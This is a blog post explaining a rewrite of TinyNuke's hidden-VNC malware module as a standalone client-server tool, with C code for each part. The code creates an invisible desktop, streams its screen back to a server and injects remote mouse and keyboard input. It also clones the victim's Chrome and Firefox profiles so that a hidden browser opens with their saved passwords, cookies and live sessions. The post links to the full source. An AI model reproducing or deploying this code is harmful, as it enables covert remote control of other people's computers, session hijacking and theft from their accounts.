← thoughts

Notes on Hidden Desktop

I rewrote TinyNuke's HVNC module as a standalone client-server and figured I'd write up some notes on how it works, broadly.

Windows supports multiple desktop objects per session, and the visible desktop is just one of them. You can create another desktop, switch a thread to it, and start processes there. Those processes still create normal windows and receive normal window messages, but they are attached to a desktop the user is not viewing:

HDESK hDesk = CreateDesktopA("HiddenDesktop", NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(hDesk);

STARTUPINFO si = {0};
si.cb = sizeof(si);
si.lpDesktop = "HiddenDesktop";
CreateProcess("C:\\Windows\\explorer.exe", NULL, NULL, NULL,
              FALSE, 0, NULL, NULL, &si, &pi);

SetThreadDesktop() attaches the current thread to HiddenDesktop. Setting STARTUPINFO.lpDesktop makes the new explorer process start there too.

Architecture

The client work is split across two threads:

  • Desktop thread: Captures frames from the hidden desktop and streams them to the server
  • Input thread: Receives mouse/keyboard events from the server and posts them to windows on the hidden desktop

Both threads connect back to the same server port, but as separate TCP connections. During the handshake, each connection sends MELTED\0 plus a 4-byte type value (0 for desktop frames or 1 for input). The server returns a session ID on the input connection, and the desktop connection sends that ID when it connects, which gives the server enough information to pair the two streams.

Screen Capture

BitBlt() from the desktop DC captures the desktop as Windows has drawn it, with windows layered on top of each other. The client avoids relying on that single image by walking the window stack and rendering each visible window into the frame:

HWND hWnd = GetTopWindow(NULL);
hWnd = GetWindow(hWnd, GW_HWNDLAST);

while (hWnd != NULL) {
    if (IsWindowVisible(hWnd)) {
        GetWindowRect(hWnd, &rect);
        PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT);
        BitBlt(hDcScreen, rect.left, rect.top,
               rect.right - rect.left, rect.bottom - rect.top,
               hDcWindow, 0, 0, SRCCOPY);
    }
    hWnd = GetWindow(hWnd, GW_HWNDPREV);
}

The loop starts at the bottom of the window stack with GW_HWNDLAST and moves upward with GW_HWNDPREV, matching the way windows are layered on the desktop. For each visible window, PrintWindow() renders the window into a temporary DC using PW_RENDERFULLCONTENT, then BitBlt() copies that image into the frame at the window's screen coordinates.

Before sending a frame, the client compares the new capture with the previous one. Unchanged pixels are written as RGB(255, 174, 201), which serves as a marker value for "copy this pixel from the previous frame." Because that color can also appear in the capture itself, the client adjusts matching pixels before building the diff:

const BYTE marker[3] = {255, 174, 201};

for (DWORD i = 0; i < imageSize; i += 3) {
    if (memcmp(pixels + i, marker, sizeof(marker)) == 0) {
        ++pixels[i + 1];
    }
}
memcpy(tempPixels, pixels, imageSize);

bool changed = false;
for (DWORD i = 0; i < imageSize; i += 3) {
    if (memcmp(pixels + i, oldPixels + i, 3) == 0) {
        memcpy(pixels + i, marker, sizeof(marker));
    } else {
        changed = true;
    }
}

if (changed) {
    memcpy(oldPixels, tempPixels, imageSize);
}

On decode, each marker pixel is filled from the server's previous frame. If the comparison found no changes at all, the client sends 0 instead of an image body. When a frame does contain changes, it is still raw pixel data, so the client compresses it with RtlCompressBuffer() using LZNT1 and then sends it.

Input Routing

The server sends input as msg, wParam, and lParam, matching the pieces of a Win32 message. For mouse events, the client has to resolve the screen coordinate to the window or child control under the cursor:

POINT screenPoint = {
    GET_X_LPARAM(lParam),
    GET_Y_LPARAM(lParam)
};

HWND hWnd = WindowFromPoint(screenPoint);
POINT clientPoint;

for (;;) {
    clientPoint = screenPoint;
    ScreenToClient(hWnd, &clientPoint);

    HWND child = ChildWindowFromPoint(hWnd, clientPoint);
    if (child == NULL || child == hWnd) {
        break;
    }
    hWnd = child;
}

lParam = MAKELPARAM(clientPoint.x, clientPoint.y);
PostMessageA(hWnd, msg, wParam, lParam);

Since child lookup uses coordinates relative to the window being checked, the code keeps screenPoint unchanged as it walks down the child window tree, derives a fresh clientPoint at each level, and rebuilds lParam for the window that will receive the message.

Dragging and resizing still use the normal input path, with WM_NCHITTEST returning the window frame area under the cursor. During a title bar drag, the client updates the window position with MoveWindow():

LRESULT hitTest = SendMessageA(hWnd, WM_NCHITTEST, NULL, lParam);
if (hitTest == HTCAPTION) {
    int moveX = lastPoint.x - currentPoint.x;
    int moveY = lastPoint.y - currentPoint.y;
    MoveWindow(hWnd, x - moveX, y - moveY, width, height, FALSE);
}

Browser Profile Cloning

Before launching a browser on the hidden desktop, the client copies the user's profile data into a new directory. The hidden browser instance then starts with the same saved passwords, cookies, and active sessions instead of a rather useless empty profile.

Chrome: Copy %LOCALAPPDATA%\Google\Chrome\User Data\ to a new directory

Firefox: Parse %APPDATA%\Mozilla\Firefox\profiles.ini to find the active profile directory, then copy it

The client then launches the browser on HiddenDesktop with the copied profile path:

char cmd[MAX_PATH];
sprintf(cmd, "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" "
             "--user-data-dir=\"%s\"", clonedUserDataPath);
STARTUPINFO si = {0};
si.cb = sizeof(si);
si.lpDesktop = "HiddenDesktop";
CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

For more details, the source: github.com/Meltedd/HVNC